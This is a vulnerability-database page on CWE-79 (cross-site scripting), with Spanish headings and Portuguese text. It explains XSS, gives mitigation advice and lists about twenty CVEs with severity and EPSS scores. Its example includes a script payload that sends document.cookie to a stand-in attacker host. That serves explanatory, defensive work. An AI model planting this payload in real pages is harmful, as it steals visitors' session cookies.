Fallos del tipo CWE-79

28.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35540HIGHA stored cross-site scripting (XSS) vulnerability in Typecho v1.3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted EPSS 2.8%CVE-2024-46278HIGHTeedy 1.11 is vulnerable to Cross Site Scripting (XSS) via the management console.EPSS 2.8%CVE-2021-26544—Apache Livy (Incubating) is vulnerable to cross site scriptingEPSS 2.8%CVE-2021-3672—A flaw was found in c-ares library, where a missing input validation check of host names returned by DNS (Domain Name Servers) can lead to oEPSS 2.8%CVE-2023-23073MEDIUMCross site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus 14 via PO in the purchase component.EPSS 2.8%CVE-2023-23078MEDIUMCross site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus 14 via the comment field when changing the credentials in theEPSS 2.8%CVE-2023-23077MEDIUMCross site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus 13 via the comment field when adding a new status comment.EPSS 2.8%CVE-2020-9732CRITICALStored XSS in AEM Sites ComponentsEPSS 2.8%CVE-2022-0994—Hummingbird < 3.3.2 - Admin+ Stored Cross-Site ScriptingEPSS 2.8%CVE-2022-22242MEDIUMJunos OS: Cross-site Scripting (XSS) vulnerability in J-WebEPSS 2.8%CVE-2023-28347CRITICALAn issue was discovered in Faronics Insight 10.0.19045 on Windows. It is possible for an attacker to create a proof-of-concept script that fEPSS 2.8%CVE-2021-24596—youForms for WordPress <= 1.0.5 - Authenticated Stored Cross-Site ScriptingEPSS 2.8%CVE-2023-53931MEDIUMRevive Adserver 5.4.1 Cross-Site Scripting via Banner Advanced SettingsEPSS 2.7%CVE-2023-1892HIGHCross-site Scripting (XSS) - Reflected in sidekiq/sidekiqEPSS 2.7%CVE-2021-22948—Vulnerability in the generation of session IDs in revive-adserver < 5.3.0, based on the cryptographically insecure uniqid() PHP function. UnEPSS 2.7%CVE-2025-47851MEDIUMIn JetBrains TeamCity before 2025.03.2 stored XSS via GitHub Checks Webhook was possibleEPSS 2.7%CVE-2020-25706MEDIUMA cross-site scripting (XSS) vulnerability exists in templates_import.php (Cacti 1.2.13) due to Improper escaping of error message during teEPSS 2.7%CVE-2022-0653MEDIUMProfile Builder – User Profile & User Registration Forms <= 3.6.1 Reflected Cross-Site ScriptingEPSS 2.7%CVE-2023-37269LOWWinter CMS vulnerable to stored XSS through privileged upload of SVG fileEPSS 2.7%CVE-2023-0902LOWSourceCodester Simple Food Ordering System process_order.php cross site scriptingEPSS 2.7%